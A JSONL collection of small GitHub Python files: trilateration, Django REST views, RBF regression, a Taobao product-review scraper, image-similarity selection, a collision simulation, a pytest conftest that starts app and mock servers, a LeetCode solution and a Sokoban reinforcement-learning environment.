\"value\": raw_data[\"clouds\"][\"all\"]}\n              })\n\n    return data\n","repo_name":"jmacego/labbot","sub_path":"labbot/controllers/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4728851302","text":"import numpy as np\nfrom scipy.optimize import *\n\nfrom models import Location\n\n\nclass Trilateration(object):\n    def locate(self, dists, positions, start_pos=(3, 5)):\n        pos_mtrx, dists_squared = self.matrices(dists, positions)\n        size = len(dists_squared)\n        start_pos = np.array(start_pos)\n\n        def fun(xs):\n            xys = np.array([[xs[0], xs[1], -2]] * size)\n            dif = pos_mtrx - xys\n            squared_sum = np.square(dif).sum(1)\n            return np.abs((squared_sum - dists_squared)).sum()\n\n        res = minimize(fun, start_pos, bounds=[(0, 33), (0, 12)])\n        return Location(float(res.x[0]), float(res.x[1]), -2.0)\n\n    def matrices(self, dists, positions):\n        dists_squared = []\n        positions_mtrx = []\n        for mac, dist in dists.items():\n            dists_squared.append(dist**2)\n            location = positions[mac]\n            positions_mtrx.append([location.x, location.y, location.z])\n        return np.array(positions_mtrx), np.array(dists_squared)\n\n","repo_name":"piohei/indiana","sub_path":"positioning/computations/trilateration.py","file_name":"trilateration.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70081712101","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import filters, viewsets\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.permissions import AllowAny\n\nfrom posts.models import Follow, Group, Post\nfrom .permissions import IsOwnerOrReadOnly\nfrom .serializers import (\n    CommentSerializer,\n    FollowSerializer,\n    GroupSerializer,\n    PostSerializer,\n)\n\n\nclass PostViewSet(viewsets.ModelViewSet):\n    queryset = Post.objects.all()\n    serializer_class = PostSerializer\n    permission_classes = [IsOwnerOrReadOnly]\n    pagination_class = LimitOffsetPagination\n\n    def perform_create(self, serializer):\n        serializer.save(author=self.request.user)\n\n\nclass GroupViewSet(viewsets.ReadOnlyModelViewSet):\n    queryset = Group.objects.all()\n    serializer_class = GroupSerializer\n    permission_classes = [AllowAny]\n\n\nclass CommentViewSet(viewsets.ModelViewSet):\n    serializer_class = CommentSerializer\n    permission_classes = [IsOwnerOrReadOnly]\n\n    def get_queryset(self):\n        post_id = self.kwargs.get(\"post_id\")\n        post = get_object_or_404(Post, pk=post_id)\n        return post.comments\n\n    def perform_create(self, serializer):\n        post_id = self.kwargs.get(\"post_id\")\n        serializer.save(\n            author=self.request.user, post=get_object_or_404(Post, pk=post_id)\n        )\n\n\nclass FollowViewSet(viewsets.ModelViewSet):\n    queryset = Follow.objects.all()\n    serializer_class = FollowSerializer\n    http_method_names = [\"get\", \"post\", \"head\"]\n    filter_backends = (filters.SearchFilter,)\n    search_fields = (\n        \"user__username\",\n        \"following__username\",\n    )\n\n    def get_queryset(self):\n        return Follow.objects.filter(user=self.request.user)\n\n    def perform_create(self, serializer):\n        serializer.save(user=self.request.user)\n","repo_name":"AlexAvdeev1986/api_final_yatube","sub_path":"yatube_api/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23480776741","text":"import numpy as np \r\nimport matplotlib.pyplot as plt\r\n\r\nx_train = np.arange(-1,1,0.05)\r\ny_train = 1.2*np.sin(np.pi*x_train) - np.cos(2.4*np.pi*x_train)\r\n\r\nx_test = np.arange(-1,1,0.01)\r\ny_test = 1.2*np.sin(np.pi*x_test) - np.cos(2.4*np.pi*x_test)\r\n\r\nnp.random.seed(2)\r\ng_noise = np.random.normal(0,1,y_train.shape[0])\r\ny_train_n = y_train + 0.3*g_noise\r\n\r\nsigma = 0.1\r\nlmd_set = [0.001, 0.005, 0.01, 0.05, 0.1, 0.5, 1, 3, 5, 10]\r\n\r\ndef guassian(r):\r\n    return np.exp(-r**2/(2*sigma**2))\r\n\r\ndef phi_matrix(x):\r\n    d = x.shape[0]\r\n    phi = np.zeros((d,d))\r\n    for i in range(d):\r\n        for j in range(d):\r\n            r = x[i]-x[j]\r\n            phi[i][j] = guassian(r)\r\n    return phi\r\n\r\ndef weights(x,d,lmd):\r\n    phi = phi_matrix(x)\r\n    I = np.identity(phi.shape[0])\r\n    return np.linalg.inv(np.dot(phi.T,phi) + lmd*I).dot(phi.T).dot(d)\r\n\r\ndef predict(x_train,x_test,weights):\r\n    y_pre = []\r\n    for j in range(x_test.shape[0]):\r\n        y = 0\r\n        for i in range(x_train.shape[0]):\r\n            r = x_test[j] - x_train[i]\r\n            y += weights[i]*guassian(r)\r\n        y_pre.append(y) \r\n    return y_pre\r\n\r\npre_test = []\r\nfor i in range(len(lmd_set)):\r\n    w = weights(x_train,y_train_n,lmd_set[i])\r\n    pre_test.append(predict(x_train,x_test,w))\r\n\r\n\r\nplt.figure()\r\nfor i in list(range(0,9,2)):\r\n    plt.subplot(1,2,1)\r\n    plt.plot(x_test,y_test,color = 'red',label ='Test Output')\r\n    plt.plot(x_test,pre_test[i],color = 'blue',label ='Predicted Output')\r\n    plt.title('The result of the exact interpolation with regularization λ = '+ str(lmd_set[i]))\r\n    plt.ylim(-3,3)\r\n    plt.xlabel('x')\r\n    plt.ylabel('y')\r\n    plt.legend()\r\n\r\n    plt.subplot(1,2,2)\r\n    plt.plot(x_test,y_test,color = 'red',label ='Test Output')\r\n    plt.plot(x_test,pre_test[i+1],color = 'blue',label ='Predicted Output')\r\n    plt.title('The result of the exact interpolation with regularization λ = '+ str(lmd_set[i+1]))\r\n    plt.ylim(-3,3)\r\n    plt.xlabel('x')\r\n    plt.ylabel('y')\r\n    plt.legend()\r\n    plt.show()\r\n    plt.clf()\r\n    \r\nerr_set = []\r\nfor i in range(len(lmd_set)):\r\n    err_set.append(np.mean(abs((pre_test[i] - y_test)/y_test)))\r\nprint(min(err_set))\r\nplt.plot(lmd_set,err_set)\r\nplt.xlabel('Regularization Factor')\r\nplt.ylabel('Average Relative Error')\r\nplt.title('Average Relative Error versus the Regularization Factor on Test Data Set')\r\nplt.show()","repo_name":"zfpanda/Neural-Network","sub_path":"assignment3/Q1c.py","file_name":"Q1c.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42726532289","text":"n = int(input('Digite quantos elemento de fibonacci voce que ver? '))\r\nprint('~~'*28)\r\norden = 0\r\nt1 = 0\r\nt2 = 1\r\nprint('{} -> {}'.format(t1,t2), end=\"\")\r\nwhile orden != n:\r\n    fibonacci = t1 + t2\r\n    t1 = t2\r\n    t2 = fibonacci\r\n    print(' -> {}'.format(fibonacci), end='')\r\n    orden +=1\r\nprint(' -> FIM')","repo_name":"Alex-Carrijo/Curso_Em_Videos_Treino","sub_path":"ex063.py","file_name":"ex063.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2029656877","text":"from sys import path\nimport re,os\nimport urllib.request\nimport ssl\nimport scrapy\nfrom sys import path\npath.append(os.path.abspath(os.path.join(os.path.dirname(__file__),\"../..\")))\nfrom scrapy.http import Request\nfrom taobao.items import TaobaoItem\nfrom scrapy_redis.spiders import RedisCrawlSpider\nfrom scrapy.spiders import CrawlSpider, Rule\n\nclass TbSpider(RedisCrawlSpider):\n    name = \"tb\"\n    #allowed_domains = [\"taobao.com\"]\n    redis_key = 'mycrawler:start_urls'\n    start_urls = ['http://taobao.com/']\n\n    def __init__(self, key=None,page=0, *args, **kwargs):\n        super(TbSpider, self).__init__(*args, **kwargs)\n        self.key=key\n        self.page=int(page)\n        \n    def parse(self, response):\n    \tfor i in range(0,self.page): #此处可以控制爬取该商品的页数，每页大约44件商品\n    \t    url = \"https://s.taobao.com/search?q=\"+str(self.key)+\"&search_type=item&s=\"+str(44*i)\n    \t    yield Request(url=url,callback=self.pages)\n\n    def pages(self,response):\n        body = response.body.decode(\"utf8\",\"igrone\")\n        item = TaobaoItem()\n        price = re.compile('\"view_price\":\"(.*?)\"').findall(body)\n        title = re.compile('\"raw_title\":\"(.*?)\"').findall(body)\n        comment_count = re.compile('\"comment_count\":\"(.*?)\"').findall(body)\n        sales = re.compile('\"view_sales\":\"(.*?)\"').findall(body)\n        location = re.compile('\"item_loc\":\"(.*?)\"').findall(body)\n        kuaidi = re.compile('\"view_fee\":\"(.*?)\"').findall(body)\n        shopname = re.compile('\"nick\":\"(.*?)\"').findall(body)\n        isTmall = re.compile('\"isTmall\":(.*?),').findall(body)\n        allitemid = re.compile('\"nid\":\"(.*?)\"').findall(body)\n        allshopid = re.compile('\"nid\":\"(.*?)\"').findall(body)\n        user_id = re.compile('\"user_id\":\"(.*?)\"').findall(body)\n\n        for i in range(0,len(allitemid)):\n            if isTmall[i]=='true':\n                item[\"link\"]=\"https://detail.tmall.com/item.htm?id=\"+str(allitemid[i])\n                allrateContent=[]\n                allUserNick=[]\n                allrateDate=[]\n                allauctionSku=[]\n                for z in range(1,3):\n                    url = \"https://rate.tmall.com/list_detail_rate.htm?itemId=\"+str(allitemid[z])+\"&sellerId=\"+str(user_id[z])+\"&order=3&currentPage=\"+str(z)\n                    body=urllib.request.urlopen(url).read().decode(\"gbk\")\n                    rateContent=re.compile('\"rateContent\":\"(.*?)\"').findall(body)\n                    UserNick=re.compile('\"displayUserNick\":\"(.*?)\"').findall(body)\n                    rateDate=re.compile('\"rateDate\":\"(.*?)\"').findall(body)\n                    auctionSku=re.compile('\"auctionSku\":\"(.*?)\"').findall(body)\n                    allrateContent.extend(rateContent)\n                    allUserNick.extend(UserNick)\n                    allrateDate.extend(rateDate)\n                    allauctionSku.extend(auctionSku)\n                \n\n            else:\n                item[\"link\"]=\"https://item.taobao.com/item.htm?id=\"+str(allitemid[i])\n                allrateContent=[]\n                allUserNick=[]\n                allrateDate=[]\n                allauctionSku=[]\n                for z in range(1,3):\n                    url = \"https://rate.taobao.com/feedRateList.htm?auctionNumId=\"+str(allitemid[z])+\"&userNumId=\"+str(user_id[z])+\"&currentPageNum=\"+str(z)+\"&pageSize=20\"\n                    body=urllib.request.urlopen(url).read().decode(\"gbk\")\n                    rateContent=re.compile('\":null,\"content\":\"(.*?)\"').findall(body)\n                    UserNick=re.compile('\"nick\":\"(.*?)\"').findall(body)\n                    rateDate=re.compile('\"date\":\"(.*?)\"').findall(body)\n                    auctionSku=re.compile('\"sku\":\"(.*?)\"').findall(body)\n                    allrateContent.extend(rateContent)\n                    allUserNick.extend(UserNick)\n                    allrateDate.extend(rateDate)\n                    allauctionSku.extend(auctionSku)\n                    \n            item[\"allrateContent\"]=allrateContent\n            item[\"allUserNick\"]=allUserNick\n            item[\"allrateDate\"]=allrateDate\n            item[\"allauctionSku\"]=allauctionSku\n\n\n            item[\"price\"]=price[i]\n            item[\"title\"]=title[i]\n            item[\"comment_count\"]=comment_count[i]\n            item[\"sales\"]=sales[i]\n            item[\"shopname\"]=shopname[i]\n            item[\"location\"] = location[i]\n            item[\"kuaidi\"] = kuaidi[i]\n            \n            yield item\n        \n#os.system('scrapy crawl tb')\n\n","repo_name":"PGC398/taobao","sub_path":"taobao/spiders/tb.py","file_name":"tb.py","file_ext":"py","file_size_in_byte":4487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"26961160524","text":"#!/usr/bin/python\n# coding:utf-8\n\nimport os\nimport cv2\nimport numpy as np\nimport shutil\nfrom ctools.basic_func import get_all_files\n\ninput_dir_o = \"/home/cobot/Desktop/bad\"\noutput_dir = \"/home/cobot/Desktop/bad2\"\n\nfor input_dirs in os.listdir(input_dir_o):\n    input_dir = os.path.join(input_dir_o, input_dirs)\n    files = os.listdir(input_dir)\n\n    warp_mode = cv2.MOTION_TRANSLATION\n    number_of_iterations = 100\n    termination_eps = 1e-8\n    criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, number_of_iterations, termination_eps)\n\n    results = np.zeros((len(files), len(files)))\n    for i in range(len(files)):\n        img1 = cv2.imread(os.path.join(input_dir, files[i]))\n        img1_gray = np.zeros(img1.shape[0:2], dtype=np.uint8)\n        cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY, img1_gray)\n        for j in range(i, len(files)):\n            img2 = cv2.imread(os.path.join(input_dir, files[j]))\n            img2_gray = np.zeros(img2.shape[0:2], dtype=np.uint8)\n            cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY, img2_gray)\n\n            warp_matrix = np.eye(2, 3, dtype=np.float32)\n            try:\n                (cc, M) = cv2.findTransformECC(img1_gray, img2_gray, warp_matrix, warp_mode, criteria)\n            except:\n                cc = 0\n            results[i, j] = cc\n            results[j, i] = cc\n\n    numbers = 20\n    ind = [0] * numbers\n    # find the first one\n    ind[0] = np.argmax(np.sum(results, axis=0))\n\n    # find the next one\n    temp = results[ind[0], :]\n    for i in range(numbers - 1):\n        results[:, ind[i]] = 1\n        ind[i + 1] = np.argmin(temp)\n        temp = temp + results[ind[i + 1], :]\n\n    for i in range(5):\n        print(i, ind[i], files[ind[i]])\n        src = os.path.join(input_dir, files[ind[i]])\n        dst = os.path.join(output_dir, input_dirs + os.sep + files[ind[i]])\n        if not os.path.exists(os.path.dirname(dst)):\n            os.makedirs(os.path.dirname(dst))\n        shutil.copy(src, dst)\n\n        # ind[2] = np.argmin(results[ind[0], :] + results[ind[1], :])\n","repo_name":"fx19940824/DetectionModel","sub_path":"TrainerDL/Projects/Mobile_Phone/_3miss_screw/patch_typical.py","file_name":"patch_typical.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"45285088220","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom collections import defaultdict\n\n\ndef draw_circles(p, r):\n\tn = p.shape[0]\n\tfor i in range(n):\n\t\tt = np.linspace(0, 2*np.pi)\n\t\tx = p[i, 0] + r[i] * np.cos(t)\n\t\ty = p[i, 1] + r[i] * np.sin(t)\n\t\tplt.plot(x, y)\n\ndef iterate(p, v, r):\n\tdt = 0.2\n\tn = p.shape[0]\n\tcolls = defaultdict(list)\n\tfor i in range(n):\n\t\tp0 = p[i,:]\n\t\tv0 = v[i,:]\n\t\tr0 = r[i]\n\t\tfor j in range(i+1, n):\n\t\t\tp1 = p[j,:]\n\t\t\tv1 = v[j,:]\n\t\t\tr1 = r[j]\n\t\t\tp_dist = np.linalg.norm(p0-p1)\n\t\t\tv_dist = np.linalg.norm(v0-v1)\n\n\t\t\tp_dist = np.linalg.norm(p0-p1)\n\t\t\tv_dist = np.linalg.norm(v0-v1)\n\t\t\tqp = 2*np.dot(p0-p1, v0-v1) / v_dist**2\n\t\t\tqq = (p_dist**2 - (r0+r1)**2) / v_dist**2\n\t\t\tif qp*qp/4 > qq:\n\t\t\t\tt = -qp/2 - (qp*qp/4-qq)**.5\n\t\t\t\tif 0 < t < dt:\n\t\t\t\t\tcolls[i].append((j, t))\n\t\t\t\t\tcolls[j].append((i, t))\n\n\tfor i in range(n):\n\t\tif len(colls[i]) == 0:\n\t\t\tp[i,:] += v[i,:] * dt\n\t\telse:\n\t\t\tj, t = colls[i][0]\n\t\t\tp[i,:] += v[i,:] * t\n\n\n\tfor i in range(n):\n\t\tif len(colls[i]) > 0:\n\t\t\tj, t = colls[i][0]\n\t\t\tp_rel = p[i,:] - p[j,:]\n\t\t\t# print(p_rel)\n\t\t\tn = p_rel / np.linalg.norm(p_rel)\n\t\t\tv[i,:] -= 2*np.dot(v[i,:], n) * n\n\t\t\tp[i,:] += v[i,:] * (dt-t)\n\n\nn = 10\n# p = np.array([[np.random.random(), np.random.random()] ])\np = np.random.rand(n, 2)*100\n# v = np.array([[3.0, 0.0], [0.0, 2.0]])\nv = np.random.randn(n, 2)*10\nr = np.abs(np.random.randn(n))\ndraw_circles(p, r)\n\nfor i in range(200):\n\titerate(p, v, r)\n\tdraw_circles(p, r)\nplt.axis('square')\n\n\nplt.xlim([0, 100])\nplt.ylim([0, 100])\nplt.show()","repo_name":"maxbergmark/misc-scripts","sub_path":"snippets/collision_test.py","file_name":"collision_test.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10536580039","text":"import http.client\nimport logging\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\nfrom copy import copy\n\nimport pytest\nimport requests\n\nimport settings\nfrom client.api_client import ApiClient\n\nrepo_root = os.path.abspath(os.path.join(__file__, os.pardir))\nrepo_root_2 = os.path.abspath(os.path.join(__file__, os.pardir, os.pardir))\nif sys.platform.startswith('win'):\n    venv_dir = 'Scripts'\n    python_name = 'python'\n    exit_code = 1\nelse:\n    venv_dir = 'bin'\n    python_name = 'python3.10'\n    exit_code = -15\npython_path = os.path.join(repo_root_2, 'venv', venv_dir, python_name)\n\n\ndef wait_ready(host, port):\n    started = False\n    st = time.time()\n    while time.time() - st <= 5:\n        try:\n            requests.get(f'http://{host}:{port}')\n            started = True\n            break\n        except requests.exceptions.ConnectionError:\n            pass\n\n    if not started:\n        raise RuntimeError('App did not started in 5s!')\n\n\ndef pytest_configure(config):\n    base_test_dir = os.path.join(repo_root, 'tests_logs')\n\n    if not hasattr(config, 'workerinput'):\n        if os.path.exists(base_test_dir):\n            shutil.rmtree(base_test_dir)\n        os.makedirs(base_test_dir)\n\n    config.base_test_dir = base_test_dir\n\n    if not hasattr(config, 'workerinput'):\n        ######### app configuration #########\n\n        app_path = os.path.join(repo_root, 'application', 'app.py')\n\n        env = copy(os.environ)\n        env.update({'APP_HOST': settings.APP_HOST, 'APP_PORT': settings.APP_PORT})\n        env.update({'MOCK_HOST': settings.MOCK_HOST, 'MOCK_PORT': settings.MOCK_PORT})\n\n        app_stderr_path = os.path.join(repo_root, 'tmp', 'app_stderr')\n        app_stdout_path = os.path.join(repo_root, 'tmp', 'app_stdout')\n        app_stderr = open(app_stderr_path, 'w')\n        app_stdout = open(app_stdout_path, 'w')\n\n        app_proc = subprocess.Popen([python_path, app_path], stderr=app_stderr, stdout=app_stdout, env=env)\n        config.app_proc = app_proc\n        config.app_stderr = app_stderr\n        config.app_stdout = app_stdout\n        wait_ready(settings.APP_HOST, settings.APP_PORT)\n\n        ######### mock configuration #########\n\n        mock_path = os.path.join(repo_root, 'mock', 'flask_mock.py')\n\n        mock_stderr_path = os.path.join(repo_root, 'tmp', 'mock_stderr')\n        mock_stdout_path = os.path.join(repo_root, 'tmp', 'mock_stdout')\n        mock_stderr = open(mock_stderr_path, 'w')\n        mock_stdout = open(mock_stdout_path, 'w')\n\n        mock_proc = subprocess.Popen([python_path, mock_path], stderr=mock_stderr, stdout=mock_stdout, env=env)\n        config.mock_proc = mock_proc\n        config.mock_stderr = mock_stderr\n        config.mock_stdout = mock_stdout\n        wait_ready(settings.MOCK_HOST, settings.MOCK_PORT)\n\n\n@pytest.fixture(scope='function')\ndef temp_dir(request):\n    test_dir = os.path.join(request.config.base_test_dir, request._pyfuncitem.nodeid)\n    test_dir = os.path.abspath(test_dir).replace('::', '_')\n    os.makedirs(test_dir)\n    return test_dir\n\n\n@pytest.fixture(scope='session')\ndef api_client():\n    return ApiClient()\n\n\n@pytest.fixture(scope='function', autouse=True)\ndef logger(temp_dir):\n    log = logging.getLogger(__name__)\n    http.client.HTTPConnection.debuglevel = 1\n\n    def print_to_log(*args):\n        log.debug(' '.join(args))\n    http.client.print = print_to_log\n\n    log_file = os.path.join(temp_dir, 'test.log')\n    log_level = logging.DEBUG\n\n    file_handler = logging.FileHandler(log_file, 'w')\n    file_handler.setLevel(log_level)\n\n    log.propagate = False\n    log.setLevel(log_level)\n    log.handlers.clear()\n    log.addHandler(file_handler)\n\n    yield log\n\n    for handler in log.handlers:\n        handler.close()\n\n\ndef pytest_unconfigure(config):\n    config.app_proc.terminate()\n    exit_code_app = config.app_proc.wait()\n\n    config.app_stderr.close()\n    config.app_stdout.close()\n\n    config.mock_proc.terminate()\n    exit_code_mock = config.mock_proc.wait()\n\n    config.mock_stderr.close()\n    config.mock_stdout.close()\n\n    assert exit_code_app == exit_code\n    assert exit_code_mock == exit_code\n","repo_name":"Exxppp/Edu-qa-vk","sub_path":"homework7/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70436873701","text":"\nfrom django.conf.urls import url\nfrom .views import AuthorEdit, AuthorList, author_create_many, books_authors_create_many\nfrom django.urls import path, include\n\n\n\napp_name = 'p_library'\nurlpatterns =([\n    url('author_book/create_many', (books_authors_create_many), name='books_authors_create_many'),\n    url('author/create_many', (author_create_many), name='author_create_many'),\n    url('author/create', AuthorEdit.as_view(), name='author_create'),\n    url('authors', AuthorList.as_view(), name='author_list'),\n], 'p_library')\n\n\nurlpattern = [\n    path('p_library', include(urlpatterns)),\n]\n","repo_name":"Krasnovskii/D5.9","sub_path":"p_library/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22003646663","text":"# leetcode challenge 496: next greater element I\n# given two arrays without duplicates A1 and A2 where A1 elements\n# are a subset of A2\n# find the next greater elements of A1 in A2, or return -1 if not exists\n\n# input: A1 = [4, 1, 2] A2 = [1, 3, 4, 2]\n# output: [-1, 3, -1]\n\n# input: A1 = [2, 4] A2 = [1, 2, 3, 4]\n# output: [3, -1]\n\n\ndef next_greater(A1, A2):\n    \"\"\"\n    Find the next greater element.\n\n    Time complexity: O(n^2) because we iterate through remaining elements\n                     for each element\n    Space complexity: O(n) we store the results in a list of size n\n\n    :param list[int] A1:\n    :param list[int] A2:\n    :returns: list[int]\n    \"\"\"\n    result = []\n    for i in A1:\n        appended = False\n        for j in A2[A2.index(i):]:\n            if j > i:\n                result.append(j)\n                appended = True\n                break\n        if not appended:\n            result.append(-1)\n\n    return result\n\n\ndef next_greater2(A1, A2):\n    \"\"\"\n    Find the next greater element.\n\n    Time complexity: O(n) we iterate through A1 then through A2 sequentially\n    Space complexity: O(n) we store the results in a list of size n\n\n    :param list[int] A1:\n    :param list[int] A2:\n    :returns: list[int]\n    \"\"\"\n    result = []\n    stack = []\n    next_greater = {}\n\n    # we first store v the next greater element than k in a dictionary {k: v}\n    # all elements are stored in a stack and we compare stack elements to\n    # following elements to find the next greater, if found we pop\n    for n in A2:\n        while stack and stack[-1] < n:\n            next_greater[stack.pop()] = n\n        stack.append(n)\n\n    # we build results by checking if we have found a greater element, if not\n    # we add -1 to the results\n    for n in A1:\n        result.append(next_greater.get(n, -1))\n\n    return result\n\n\ndef test1():\n    A1 = [4, 1, 2]\n    A2 = [1, 3, 4, 2]\n    assert next_greater(A1, A2) == [-1, 3, -1]\n    print(\"test 1 successful\")\n\n\ndef test2():\n    A1 = [4, 1, 2]\n    A2 = [1, 3, 4, 2]\n    assert next_greater2(A1, A2) == [-1, 3, -1]\n    print(\"test 2 successful\")\n\n\ndef test3():\n    A1 = [2, 4]\n    A2 = [1, 2, 3, 4]\n    assert next_greater(A1, A2) == [3, -1]\n    print(\"test 3 successful\")\n\n\ndef test4():\n    A1 = [2, 4]\n    A2 = [1, 2, 3, 4]\n    assert next_greater2(A1, A2) == [3, -1]\n    print(\"test 4 successful\")\n\n\ndef main():\n    test1()\n    test2()\n    test3()\n    test4()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jschnab/leetcode","sub_path":"stacks_queues/next_greater.py","file_name":"next_greater.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21575487313","text":"import random\nimport numpy as np\nimport os\nimport time\nfrom IPython.display import clear_output\n\nclass Sokoban:\n  def __init__(self, grid_size=(6, 6), state_scale=2):\n    self.size = grid_size\n    self.state_scale = state_scale\n    self.state_width = 1+ 2 * self.state_scale\n    self.state_size = (self.state_width)**2\n    self.action_size = 4\n    self.codes = ['　', '▣', '■', 'О', 'Χ', '▨']\n    self.matrix = [[0 for _ in range(self.size[0])] for i in range(self.size[1])]\n    self.pos = [0, 0]\n    self.box = [0, 0]\n    self.goal = [0, 0]\n    self.end = [0, 0]\n\n    self.unavailable_reward = -1\n    self.goal_reward = 1\n    self.timestep_reward = -0.1\n\n    self.max_timestep = 10000\n    self.timestep = 0\n    self.DELAY = 1\n\n  def reset(self):\n    self.matrix = [[0 for _ in range(self.size[0])] for i in range(self.size[1])]\n    \n    self.pos[0] = random.randrange(0, self.size[0])\n    self.pos[1] = random.randrange(0, self.size[1])\n\n    self.box[0] = self.randompick((1, self.size[0]-1), (self.pos[0],))\n    self.box[1] = self.randompick((1, self.size[1]-1), (self.pos[1],))\n\n    self.goal[0] = self.randompick((1, self.size[0]-1), (self.pos[0], self.box[0]))\n    self.goal[1] = self.randompick((1, self.size[1]-1), (self.pos[1], self.box[1]))\n\n    self.end[0] = self.randompick((1, self.size[0]-1), (self.pos[0], self.box[0], self.goal[0]))\n    self.end[1] = self.randompick((1, self.size[1]-1), (self.pos[1], self.box[1], self.goal[1]))\n    \n    self.matrix[self.pos[1]][self.pos[0]] = 1\n    self.matrix[self.box[1]][self.box[0]] = 2\n    self.matrix[self.goal[1]][self.goal[0]] = 3\n    self.matrix[self.end[1]][self.end[0]] = 4\n\n    self.timestep = 0\n\n    return self.get_state()\n\n  def randompick(self, range, sub):\n    done = False\n    n = 0\n    while not done:\n      n = random.randrange(range[0], range[1])\n      if not n in sub:\n        done = True\n    return n\n\n  def get_state(self):\n    state = [0] * (self.state_size)\n    for i in range(0, self.state_width):\n      if not self.pos[1] - self.state_scale + i in range(self.size[1]):\n        for j in range(0, self.state_width):\n          state[i * self.state_width + j] = 5\n      else:\n        for j in range(0, self.state_width):\n          if not self.pos[0] - self.state_scale + j in range(self.size[0]):\n            state[i * self.state_width + j] = 5\n          else:\n            state[i * self.state_width + j] = self.matrix[self.pos[1] - self.state_scale + i][self.pos[0] - self.state_scale + j]\n        \n    return state\n\n  def step(self, action, show=False):\n    self.timestep += 1\n    if self.timestep > self.max_timestep:\n      return self.get_state(), -1, True\n\n    done = False\n    next_state = None\n    next_pos = [self.pos[0], self.pos[1]]\n    next_box_pos = [self.box[0], self.box[1]]\n    reward = 0\n\n    def check(pos1, pos2):\n      return pos1[0]==pos2[0] and pos1[1]==pos2[1]\n\n    if action == 0:\n      if self.pos[1] - 1 < 0:\n        #reward += self.unavailable_reward\n        pass\n      else:\n        next_pos = [self.pos[0], self.pos[1] - 1]\n    elif action == 1:\n      if self.pos[1] + 1 >= self.size[1]:\n        #reward += self.unavailable_reward\n        pass\n      else:\n        next_pos = [self.pos[0], self.pos[1] + 1]\n    elif action == 2:\n      if self.pos[0] - 1 < 0:\n        #reward += self.unavailable_reward\n        pass\n      else:\n        next_pos = [self.pos[0] - 1, self.pos[1]]\n    elif action == 3:\n      if self.pos[0] + 1 >= self.size[0]:\n        #reward += self.unavailable_reward\n        pass\n      else:\n        next_pos = [self.pos[0] + 1, self.pos[1]]\n\n    if check(self.end, next_pos) or check(self.goal, next_pos):\n      reward += self.unavailable_reward\n      done = True\n    elif check(self.box, next_pos): #박스와 충돌\n      if action == 0:\n        next_box_pos = [self.box[0], self.box[1] - 1]\n      elif action == 1:\n        next_box_pos = [self.box[0], self.box[1] + 1]\n      elif action == 2:\n        next_box_pos = [self.box[0] - 1, self.box[1]]\n      elif action == 3:\n        next_box_pos = [self.box[0] + 1, self.box[1]]\n      \n      if not next_box_pos[0] in range(0, self.size[0]) or not next_box_pos[1] in range(0, self.size[1]): #박스가 벽에 닿음\n        reward += self.unavailable_reward\n        done = True\n        next_box_pos = [self.box[0], self.box[1]]\n      elif check(next_box_pos, self.end):\n        reward += self.unavailable_reward\n        done = True\n      elif check(next_box_pos, self.goal):\n        reward += self.goal_reward\n        done = True\n\n    self.pos = next_pos\n    self.box = next_box_pos\n    self.matrix = [[0 for _ in range(self.size[0])] for i in range(self.size[1])]\n\n    self.matrix[self.goal[1]][self.goal[0]] = 3\n    self.matrix[self.end[1]][self.end[0]] = 4\n    self.matrix[self.pos[1]][self.pos[0]] = 1\n    self.matrix[self.box[1]][self.box[0]] = 2\n    reward += self.timestep_reward\n    if show:\n      self.show(action, reward)      \n    return self.get_state(), reward, done\n\n  def show(self, action, reward):\n    os.system('cls')\n    clear_output()\n    state = self.get_state()\n    print(f\"action:{action}    reward:{reward}    step:{self.timestep}/{self.max_timestep}\")\n    print(f\"┏{'━'*(self.size[0])}┓    ┏{'━'*(self.state_width)}┓\")\n    for i in range(self.size[1]):\n      print(f\"┃\", end=\"\")\n      for a in self.matrix[i]:\n        print(self.codes[a], end=\"\")\n      print(f\"┃    \", end=\"\")\n      if i in range(self.state_width):\n        print(f\"┃\", end=\"\")\n        for a in range(self.state_width):\n          print(self.codes[state[i * self.state_width + a]], end=\"\")\n        print(f\"┃\")\n      elif i == self.state_width:\n        print(f\"┗{'━'*(self.state_width)}┛\")\n      else:\n        print()\n    print(f\"┗{'━'*(self.size[0])}┛\")\n    time.sleep(self.DELAY)\n","repo_name":"jellyho/Python_RL_Envs","sub_path":"Sokoban.py","file_name":"Sokoban.py","file_ext":"py","file_size_in_byte":5781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
